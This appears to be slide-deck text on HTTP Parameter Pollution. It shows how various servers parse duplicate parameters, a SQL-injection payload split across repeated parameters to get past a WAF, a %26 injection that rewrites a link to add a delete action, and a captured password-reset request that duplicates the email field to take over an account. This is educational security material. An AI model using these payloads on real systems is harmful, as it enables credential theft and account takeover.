HPP

HTTP Parameter Pollution

HTTP params

Typical HTTP packet with params:

```
POST /index.php?a=1&a=2 HTTP/1.0
Host: localhost
Cookie: a=3;a=4
Content-type: text/plain
Content-Length: 7
Connection: close

a=5&a=6
```

a = ?

HTTP params

Technology/Environment	Parameter Interpretation	Example
ASP.NET/IIS	Concatenation by comma	par1=val1,val2
ASP/IIS	Concatenation by comma	par1=val1,val2
PHP/APACHE	The last parameter is resulting	par1=val2
PHP/Zeus	The last parameter is resulting	par1=val2
JSP, Servlet/Apache Tomcat	The first parameter is resulting	par1=val1
JSP,Servlet/Oracle Application Server 10g	The first parameter is resulting	par1=val1
JSP,Servlet/Jetty	The first parameter is resulting	par1=val1
IBM Lotus Domino	The first parameter is resulting	par1=val1
IBM HTTP Server	The last parameter is resulting	par1=val2
mod_perl,libapeq2/Apache	The first parameter is resulting	par1=val1
Perl CGI/Apache	The first parameter is resulting	par1=val1
mod_perl,lib???/Apache	The first parameter is resulting	par1=val1
mod_wsgi (Python)/Apache	An array is returned	ARRAY(0x8b9058c)
Pythin/Zope	The first parameter is resulting	par1=val1
IceWarp	An array is returned	['val1','val2']
AXIS 2400	The last parameter is resulting	par1=val2
Linksys Wireless-G PTZ Internet Camera	Concatenation by comma	par1=val1,val2
Ricoh Aficio 1022 Printer	The last parameter is resulting	par1=val2
webcamXP Pro	The first parameter is resulting	par1=val1
DBMan	Concatenation by two tildes	par1=val1~~val2

WAF bypass

Technology/Environment	Parameter Interpretation	Example
ASP.NET/IIS	Concatenation by comma	par1=val1,val2
ASP/IIS	Concatenation by comma	par1=val1,val2

id=**-1/***&id=***/UNION/***&id=***/SELECT/***&id=***/username**&id=**password/***&id=***/FROM/***&id=***/users--**

↓

id=**-1/***,***/UNION/***,***/SELECT/***,***/username**,**password/***,***/FROM/***,***/users--**

↓

-1 UNION SELECT username,password FROM users

Param rewrite

…<a href="http://app.com/?action=view&id=**{$_GET['id']}**">…

%26 == &

?id=**123%26action=delete**

…<a href="http://app.com/?action=view&id=**123&action=delete**">…

Param rewrite

Repeat it twice to bypass check!

Request

Raw | Params | Headers | Hex

```
POST /reset HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: [redacted]
Content-Type: [redacted]ded
Content-Length: 168
Cookie: [redacted]
_ga=GA1.2.[redacted].06780592790
_hp2_id.40[redacted]
4%22%2C%22[redacted]
_gid=GA1.2[redacted]
_hp2_ses_[redacted]
2%3A%22%2[redacted]
Connectio[redacted]
Upgrade-I[redacted]

csrf_toke[redacted]J&email=harrysonito%40gmail.com&email=petercheckk852234%40gmail.com
```

Param rewrite

Repeat it twice to bypass check!